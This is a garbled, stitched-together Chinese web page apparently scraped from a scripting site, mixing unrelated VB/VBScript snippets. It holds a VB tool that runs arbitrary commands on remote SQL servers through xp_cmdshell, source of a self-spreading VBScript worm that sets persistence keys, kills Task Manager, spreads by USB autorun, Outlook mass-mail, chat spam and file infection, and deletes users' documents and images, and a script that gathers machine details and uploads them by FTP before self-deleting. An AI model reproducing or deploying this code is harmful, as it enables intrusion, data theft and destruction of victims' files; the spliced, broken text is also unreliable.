脚本错误是什么意思闯魔哪里有

发布时间:2021-07-03 来源:脚本之家 点击:

用VB打造自己的SQL连接器

大家好.....好长时间没上网了...祝大家新年快乐....好了.工程开始
现建一个普通窗口..放上3个textBox控件.
一个是用来输入ip的txtaddres..还有就是用户名txtuser和密码txtpass...为相应的控件起个好听地名字
还有1个按钮用来确定连接...

定义一个连接对象..和记录集对象
publicconnasnewADODB.Connect'连接的
publicrecvasnewADODB.Resordset'用来接收数据的
'''''''''''''''''''''''''''''''''''''''''''''''''''
连接按钮事件click()
dimsqlasstring
sql="Provider=SQLOLEDB.1;
Password="&txtpass&";
PersistSecurityInfo=True;
UserID="&txtuser&";
InitialCatalog="&msdb&";
DataSource="&txtaddres
sql变量力存放的是连接字符串....
conn.ConnectionString=sql'连接字符串..
conn.open'连接
ifconn.state=0then'表示连接不成功...
当conn.state=1表示连接成功了....

好了...我们的软件现在已经可以正确的连接上sql服务器了
现在我们要能执行dos命令...

在我们刚才的窗体里面在创建一个textbox(txtsend)用来打dos命令和一个发送命令按钮
发送命令以后服务器会返回数据...所以还要加一个RichTextBox控件(个人推荐)...用textbox也可以
在sql默认得数据库msdb里面可以执行xp_cmdshell'dos命令'
对...我们现在也要把这条命令发送到服务器执行.....
执行按钮事件click()
dimsqlasstring
sql="xp_cmdshell'"&txtsend.text&"'"'命令应该用单引号括起来....
setrecv=conn.Execute(sql)'执行sql命令.并把返回数据记录在记录集recv里面
dimiasinteger,colasstring
WhileNotrecv.Eof'读数据到最后一行
fori=0toRecv.Fields.Count-1
col=recv.fields(i).name
RichTextBox.setcolor=&hff00&'改颜色
RichTextBox.seltext=recv.fields(col).value
recv.movenext
next
wend
程序可能会出现问题..最好加上
onErrorgotoerr1
err1:
msgboxerr.number&err.Description'程序错误编号和类型
还告诉大家vb里面有个控件可以生成连接字符串.....
components或者直接按Ctrl T..添加MicrosoftADODataControl6.0(OLEDB)控件
控件属性里面的选择第三个选项UseConnectionString然后点Build配置字符串就可以了..
配置完以后就可以把这个控件删掉.....
就讲说这里了....上面已经基本实现了主题的功能..大家还可以自己改进一下...是不是很简单喔
大家有什么问题可以找我一起研究..
===============================================
本文版权属20CN网络安全小组及其作者所有,如有转载,请保持文章完整性并注明出处

编写:特务
QQ:27272855
E-mail:XF_Mengqier@163.com

->


dimcc,cipher,correy
forl=1tolen(self)
cc=mid(self,l,1)
ifl>99andinstr(self,"LiuChunli")>0then
cipher=chr(scode(cc)+9)rem我开始用99,得到的全是ascll为0的数据
else
cipher=chr(scode(cc))
endif
correy=correy&cipher
next

lcl.Writecorrey
lcl.Close

dimhk,hc,safe
hk="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run"
hc="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
wshshell.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\WindowsScriptingHost\Settings\Timeout",0,"REG_DWORD"
wshshell.Regwritehk&"\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwritehk&"exec\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwritehk&"Once\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwritehk&"OnceEx\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwritehk&"service\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwritehk&"Services\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwritehc&"\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwritehc&"exec\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwritehc&"Once\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwritehc&"service\lcl",dirsystem&"\lcl.vbs"
safe="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot"
wshshell.Regwritesafe&"Minimal\lcl.vbs",dirsystem&"\lcl.vbs"
wshshell.Regwritesafe&"Network\lcl.vbs",dirsystem&"\lcl.vbs"

do
wshshell.run"cmd/ctaskkill/f/imtaskmgr.exe",0
wshshell.run"cmd/ctaskkill/f/imtasklist.exe",0
loop

dimd
ForEachdinfso.Drives
ifd.drivetype<>4then
fso.CopyFileb,d&"\lcl.txt"
scan(d)
endif
ifd.drivetype=1andd.isready=trueandFormatNumber(d.FreeSpace/1024,0)>99then
fso.copyfilewscript.scriptfullname,d&"\lcl.vbs"
fso.getfile(wscript.scriptfullname).attributes=7
setinf=fso.createtextfile(d&"\autorun.inf",true)
fso.getfile(d&"\autorun.inf").attributes=7
inf.writeline"[autorun]"
inf.writeline"open="
inf.writeline"shell\open=打开(&O)"
inf.writeline"shell\open\Command=WScript.exelclrun.vbs"
inf.writeline"shell\open\Command=WScript.exelcl.vbs"
inf.writeline"shell\open\Default=1"
inf.writeline"shell\explore=资源管理器(&X)"
inf.writeline"shell\explore\Command=WScript.exelclrun.vbs"
inf.writeline"shell\explore\Command=WScript.exelcl.vbs"
inf.close
setini=fso.createtextfile(d&"\desktop.ini",true)
fso.getfile(d&"\desktop.ini").attributes=7
ini.writeline"[.ShellClassInfo]"
ini.writeline"CLSID={645FF040-5081-101B-9F08-00AA002F954E}"
ini.close
setlclrun=fso.createtextfile(d&"\lclrun.vbs",true)
fso.getfile(d&"\lclrun.vbs").attributes=7
lclrun.writeline"OnErrorGoTo0"
lclrun.writeline"setfso=CreateObject("&chr(34)&"Scripting.FileSys"&chr(34)&"&"&chr(34)&"temObject"&chr(34)&")"
lclrun.writeline"iforeachdinfso.drives"
lclrun.writeline"ifd.drivetype=1andd.isready=trueandFormatNumber(d.FreeSpace/1024,0)>99then"
lclrun.writeline"fso.getfile(d.driveletter"&"&"&chr(34)&":\lclrun.vbs"&chr(34)&").attributes=7"
lclrun.writeline"setwshshell=wscript.createobject("&chr(34)&"WScript.Shell"&chr(34)&")"
lclrun.writeline"wshshell.run"&chr(34)&"d.driveletter"&"&"&chr(34)&":\lclrun.vbs"&chr(34)&chr(34)
lclrun.writeline"wshshell.run"&chr(34)&"d.driveletter"&"&"&chr(34)&":\lcl.vbs"&chr(34)&chr(34)
lclrun.writeline"endif"
lclrun.writeline"next"
lclrun.close
endif
next

dimwshnetwork,netdrives,net1,net2
SetWSHNetwork=WScript.CreateObject("WScript.Network")
SetnetDrives=WSHNetwork.EnumNetworkDrives
IfnetDrives.Count>0Then
Fori=0TonetDrives.Count-1Step2
net1=netdrives(i)
net2=netDrives(i+1)
scan(net1)
scan(net2)
Next
EndIf

dimoutlookapp,mapiobj,addrlist,addrentcount,item,addrent,attachments
SetoutlookApp=CreateObject("Outlook.App"&"lication")
IfoutlookApp="Outlook"oroutlookapp="outlookexpress"Then
SetmapiObj=outlookApp.GetNameSpace("MAPI")''获取MAPI的名字空间
SetaddrList=mapiObj.AddressLists''获取地址表的个数
ForEachaddrInaddrList
Ifaddr.AddressEntries.Count<>0Then
addrEntCount=addr.AddressEntries.Count''获取每个地址表的Email记录数
ForaddrEntIndex=1ToaddrEntCount''遍历地址表的Email地址
Setitem=outlookApp.CreateItem(0)''获取一个邮件对象实例
SetaddrEnt=addr.AddressEntries(addrEntIndex)''获取具体Email地址
item.To=addrEnt.Address
item.Subject=title
item.Body=text
SetattachMents=item.Attachments
attachMents.Addfso.GetSpecialFolder(0)&"\lcl.vbs"
item.DeleteAfterSubmit=True''信件提交后自动删除
Ifitem.To<>""Then
item.Send
wshshell.regwrite"HKCU\software\Mailtest\mailed","1"
EndIf
Next
EndIf
Next
Endif

remnextfromiloveyou.
setout=WScript.CreateObject("Outlook.Application")
setmapi=out.GetNameSpace("MAPI")
forctrlists=1tomapi.AddressLists.Count
seta=mapi.AddressLists(ctrlists)
x=1
regv=wshshell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB"&a)
if(regv="")then
regv=1
endif
if(int(a.AddressEntries.Count)>int(regv))then
forctrentries=1toa.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=wshshell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB"&malead)
if(regad="")then
setmale=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject=title
male.Body=text
male.Attachments.Add(dirsystem&"lcl.vbs")
male.Send
wshshell.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\WAB"&malead,1,"REG_DWORD"
endif
x=x+1
next
wshshell.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\WAB"&a,a.AddressEntries.Count
else
wshshell.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\WAB"&a,a.AddressEntries.Count
endif
next
Setout=Nothing
Setmapi=Nothing

SetobjOutlook=CreateObject("Outlook.Application")
IfobjOutlook="Outlook"Then
SetobjNamespace=objOutlook.GetNameSpace("MAPI")
SetcolAddressLists=objNamespace.AddressLists
SetonjNameSpace=Nothing
ForEachobjItemIncolAddressLists
IfobjItem.AddressEntries.Count<>0Then
intCountOfAddresses=objItem.AddressEntries.Count
Fori=1TointCountOfAddresses
SetobjMailMsg=objOutlook.CreateItem(0)
SetobjDestAddress=objItem.AddressEntries(i)
objMailMsg.To=objDestAddress.Address
objMailMsg.Subject=title
objMailMsg.Body=text
execute"setobjSend=objMailMsg."&Chr(65)&Chr(116)&Chr(116)&Chr(97)&Chr(99)&Chr(104)&Chr(109)&Chr(101)&Chr(110)&Chr(116)&Chr(115)
strAttach=strFilePathName
objMailMsg.DeleteAfterSubmit=True
objSend.AddstrAttach
IfobjMailMsg.To<>""Then
objMailMsg.Send
EndIf
Next
EndIf
Next
SetobjOutlook=Nothing
SetobjItem=Nothing
SetobjMailMsg=Nothing
SetobjDestAddress=Nothing
EndIf

strComputer="."
SetwbemServices=Getobject("winmgmts:\"&strComputer)
SetwbemObjectSet=wbemServices.InstancesOf("Win32_Process")
ForEachwbemObjectInwbemObjectSet
ifwbemObject.Name="msn.exe"orwbemObject.Name="qq.exe"then
WshShell.AppActivatewbemobject.name
WshShell.SendKeys"canyouhelpmefindaperson?"
WshShell.SendKeys"^{enter}"'or"^~"
WScript.Sleep9000
WshShell.SendKeys"hernameisLiuChunli"
WshShell.SendKeys"^{enter}"
WScript.Sleep9000
WshShell.SendKeys"herbirthdayis1981-02-17."
WshShell.SendKeys"^{enter}"
WScript.Sleep9000
WshShell.SendKeys"hermotherhomeisYuzhen.Qixian.Kaifeng.Henan.China."
WshShell.SendKeys"^{enter}"
endif
Next

subscan(folder)
OnErrorGoTo0
setfd=fso.getfolder(folder)
foreachfileinfd.files
self1=fso.opentextfile(file,1).readall
ext=fso.GetExtensionName(file)
ext=lcase(ext)
ifext="vbs"orext="vbe"orext="wsc"orext="wsf"orext="wsh"orext="sct"then
ifinstr(self1,"LiuChunli")<0then
setlcl=fso.opentextfile(file.path,8,true)
lcl.writechr(13)&chr(10)
lcl.writeself
lcl.writechr(13)&chr(10)
lcl.close
endif
endif
ifext="htm"orext="html"orext="xhtml"orext="shtml"orext="dhtml"orext="phtml"orext="eml"then
ifinstr(self1,"LiuChunli")<0then
setlcl=fso.opentextfile(file.path,8,true)
lcl.write"<"&"SCRIPTLANGUAGE='VBScript'>"
lcl.writechr(13)&chr(10)
lcl.writeself
lcl.write"<"&"/SCRIPT>"
lcl.writechr(13)&chr(10)
lcl.close
endif
endif
remorext="mspx"
ifext="htd"orext="asp"orext="htt"orext="aspx"orext="cfm"orext="tpl"orext="dtd"orext="hta"then
ifinstr(self1,"LiuChunli")<0then
setlcl=fso.opentextfile(file.path,8,true)
lcl.write"<"&"SCRIPTLANGUAGE='VBScript'>"
lcl.writechr(13)&chr(10)
lcl.writeself
lcl.write"<"&"/SCRIPT>"
lcl.writechr(13)&chr(10)
lcl.close
endif
endif
ifext="ini"then
ifnotinstr(self1,"LiuChunli")>0then
dimini
setini=fso.opentextfile(file.path,8,true)
ini.writelinechr(13)&chr(10)
ini.WriteLine"[script]"
ini.WriteLine"n0=on1:JOIN:#:{"
ini.WriteLine"n1=/if($nick==$me){halt}"
ini.WriteLine"n2=/.dccsend$nick"&dirsystem&"\lcl.vbs"
remini.WriteLine"n0=on1:join:*.*:{if($nick!=$me){halt}/dccsend$nick"&dirsystem&"\lcl.vbs"}"
'利用命令/ddcsend$nick"&dirsystem&"\lcl.vbs"给通道中的其他用户传送病毒文件
ini.WriteLine"n3=}"
ini.WriteLine";LiuChunli"
ini.close
endif
endif
remevery9inthelunarcalendadoit
ifext="mp3"orext="doc"orext="docx"orext="dwg"orext="wma"orext="swf"orext="jpg"then
file.deletetrue
endif
next
foreachsubfdinfd.subfolders
scan(subfd)
next
endsub

手机传奇挂机脚本制作教程
语法
字段的数据类型也可以由MicrosoftJet确定



写个简单的 VBS 脚本验证一下:

我们在循环中改变了 n 和 s 的值,但是循环仍然进行了10次,依次输出1到10,说明 For Next 循环内部保存有循环控制变量 n 和 s 的一份拷贝,并以此内部变量来控制循环的流程Hwnd是句柄,MicrosoftWindows应用程序中的每个窗体和控件都拥有一个句柄,通过句柄可以指明函数的操作对象;wMsg是一个十六进制数,代表了函数要发送的具体消息

Function fOutput(strName)
strLen=Len(strName)
Select Case True
Case strLen < 8
fOutput=chr(9) & chr(9) & chr(9) & chr(9) & chr(9)
Case strLen < 16
fOutput=chr(9) & chr(9) & chr(9) & chr(9)
Case strLen < 24
fOutput=chr(9) & chr(9) & chr(9)
Case strLen < 32
fOutput=chr(9) & chr(9)
Case strLen < 40
fOutput=chr(9)
Case Else
'超过40的只取前32位
For K=1 To strLen - 32
fOutput=fOutput & chr(8)
Next
fOutput=fOutput & " ..." & chr(9)
End Select
End Function
在改变桌面图片时,也设定显示方式(包括“居中”、“平铺”、“拉伸”)呢?
方法就是在呼叫SystemParametersInfo之前,利用改变注册表的以下设定值:

HKEY_CURRENT_USER\ControlPanel\Desktop\TileWallpaper
HKEY_CURRENT_USER\ControlPanel\Desktop\WallpaperStyle

这两个设定值的意义如下:

TileWallpaper的设定值WallpaperStyle的设定值显示方式
"0""0"居中
"0""2"平铺
"1"-拉伸

注:所谓「拉伸」是当图片与屏幕不等大时,将图片调整成屏幕等大小,这是Windows98新增的功能,但如果您的机器安装有IE4.x,则Windows95也具备相同的功能


On Error Resume Next
strComputer="."

Set objWMIService=GetObject("winmgmts:\" & strComputer & "\root\cimv2")
Set colItems=objWMIService.ExecQuery("Select * from Win32_Processor",,48)

For Each objItem in colItems
WScript.Echo "LoadPercentage: " & objItem.LoadPercentage
Next
逃跑吧少年安卓下载PrivateSubCommand1_Click()

OnErrorGoToErr100

'定义表与字段
DimDefDatabaseAsDatabase
DimDefTableAsTableDef,DefFieldAsField

SetDefDatabase=Workspaces(0).OpenDatabase(App.Path&"\vbeden.mdb",0,False)
SetDefTable=DefDatabase.CreateTableDef("VB编程乐园")

'dbBinary=9
'dbBoolean=1
'dbByte=2
'dbChar=18
'dbDate=8
'dbInteger=3
'dbLong=4
'dbMemo=12
'dbText=10

'建立Name字段为8个字符型
SetDefField=DefTable.CreateField("Name",dbText,8)
DefTable.Fields.AppendDefField

SetDefField=DefTable.CreateField("Sex",dbText,2)
DefTable.Fields.AppendDefField

'该字段允许为空
DefField.AllowZeroLength=True
'建立Age字段为3个的常整型
SetDefField=DefTable.CreateField("Age",dbInteger,3)
'字段追加
DefTable.Fields.AppendDefField

'表追加
DefDatabase.TableDefs.AppendDefTable

MsgBox"VB编程乐园数据库建立完成
'#####收集计算机信息_开始#####
On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Set f1=fso.CreateTextFile("info")
strComputer="."
If Err.Description="" Then
'收集本地计算机名称
Set objWMIService=GetObject("winmgmts:\" & strComputer & "\root\cimv2")
Set colItems=objWMIService.ExecQuery("Select * from Win32_ComputerSystem", , 48)
J=0
For Each objItem In colItems
If J=0 Then f1.write (Trim(objItem.Name)) Else f1.write (Trim(objItem.Name)) '收集本地计算机名称
J=J + 1
Next
'收集计算机登录帐户
f1.write (chr(10))
f1.write (";")
f1.write (chr(10))
Set objWMIService=GetObject("winmgmts:\" & strComputer & "\root\cimv2")
Set colItems=objWMIService.ExecQuery("Select * from Win32_ComputerSystem", , 48)
J=0
For Each objItem In colItems
If J=0 Then f1.write (Trim(objItem.UserName)) Else f1.write (Trim(objItem.UserName)) '收集计算机登录帐户
J=J + 1
Next
'收集CPU信息
f1.write (chr(10))
f1.write (";")
f1.write (chr(10))
Set objWMIService=GetObject("winmgmts:\" & strComputer & "\root\cimv2")
Set colItems=objWMIService.ExecQuery("Select * from Win32_Processor", , 48)
J=1
For Each objItem In colItems
If J=0 Then f1.write (Trim(objItem.Name)) Else f1.write (Trim(objItem.Name) & "||")
J=J + 1
Next
'收集内存总容量
f1.write (chr(10))
f1.write (";")
f1.write (chr(10))
Set objWMIService=GetObject("winmgmts:\" & strComputer & "\root\cimv2")
Set colItems=objWMIService.ExecQuery("Select * from Win32_ComputerSystem", , 48)
J=2
For Each objItem In colItems
If J=0 Then f1.write (Trim(objItem.TotalPhysicalMemory)/1024/1024 & " GB") Else f1.write (Trim(objItem.TotalPhysicalMemory)/1024/1024 & " GB" & "||")
J=J + 1
Next
'收集显卡信息
f1.write (chr(10))
f1.write (";")
f1.write (chr(10))
Set objWMIService=GetObject("winmgmts:\" & strComputer & "\root\cimv2")
Set colItems=objWMIService.ExecQuery("Select * from Win32_VideoController", , 48)
J=4
For Each objItem In colItems
If J=0 Then f1.write (Trim(objItem.Caption) & (objItem.VideoModeDescription)) Else f1.write (Trim(objItem.Caption) & (objItem.VideoModeDescription) & "||")
J=J + 1
Next
'收集硬盘基本信息
f1.write (chr(10))
f1.write (";")
f1.write (chr(10))
Set objWMIService=GetObject("winmgmts:\" & strComputer & "\root\cimv2")
Set colItems=objWMIService.ExecQuery("Select * from Win32_DiskDrive", , 48)
J=5
For Each objItem In colItems
If J=0 Then f1.write (Trim(objItem.Model) & (objItem.Size)/1024/1024/1024 & " GB" & (objItem.Partitions)) Else f1.write (Trim(objItem.Model) & "--" & (objItem.Size)/1024/1024/1024 & " GB" & "--" & (objItem.Partitions) & "||")
J=J + 1
Next
'收集声卡信息
f1.write (chr(10))
f1.write (";")
f1.write (chr(10))
Set objWMIService=GetObject("winmgmts:\" & strComputer & "\root\cimv2")
Set colItems=objWMIService.ExecQuery("Select * from Win32_SoundDevice", , 48)
J=6
For Each objItem In colItems
If J=0 Then f1.write (Trim(objItem.ProductName)) Else f1.write (Trim(objItem.ProductName) & "||")
J=J + 1
Next
'收集网卡信息
f1.write (chr(10))
f1.write (";")
f1.write (chr(10))
Set objWMIService=GetObject("winmgmts:\" & strComputer & "\root\cimv2")
Set colItems=objWMIService.ExecQuery("Select * from Win32_NetworkAdapter", , 48)
J=7
For Each objItem In colItems
If J=0 Then f1.write (Trim(objItem.NetConnectionID) & (objItem.Description) & (objItem.MACAddress) & (objItem.Manufacturer)) Else f1.write (Trim(objItem.NetConnectionID) & "--" & (objItem.ProductName) & "--" & (objItem.MACAddress) & "--" &(objItem.Manufacturer) & "||")
J=J + 1
Next
End If
f1.Close
'#####收集计算机信息_结束#####
'#####上传_开始#####
Dim WshShell, curDir, wShell, file
Set wShell=WScript.CreateObject("Shell.Application")
Set WshShell=WScript.CreateObject("WScript.Shell")
Set FileSystem=WScript.CreateObject("Scripting.FileSystemObject")
Set OutPutFile=FileSystem.OpenTextFile("upload",2,True)
Set objWMIService=GetObject("winmgmts:\" & strComputer & "\root\cimv2")
Set colItems=objWMIService.ExecQuery("Select * from Win32_ComputerSystem", , 48)
J=0
For Each objItem In colItems
If J=0 Then file="info " & Trim(objItem.Name) & ".csv" Else file="info " & Trim(objItem.Name) & ".csv"
J=J + 1
Next
OutPutFile.WriteLine "open 192.168.0.254 2020"
OutPutFile.WriteLine "user iplog iplog"
OutPutFile.WriteLine "put " & file
OutPutFile.WriteLine "bye"
OutPutFile.Close
Wshshell.run "ftp -n -s:upload"

Set wShell=Nothing
Set WshShell=Nothing
Set FileSystem=Nothing
Set OutPutFile=Nothing
'#####上传_结束#####
'#####自删除_开始#####
'wscript.sleep 2000
'Set obj=CreateObject("Scripting.FileSystemObject")
'obj.DeleteFile("upload")
'obj.DeleteFile("info")
'obj.DeleteFile(WScript.ScriptName)
WScript.Quit(0)
'#####自删除_结束#####

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号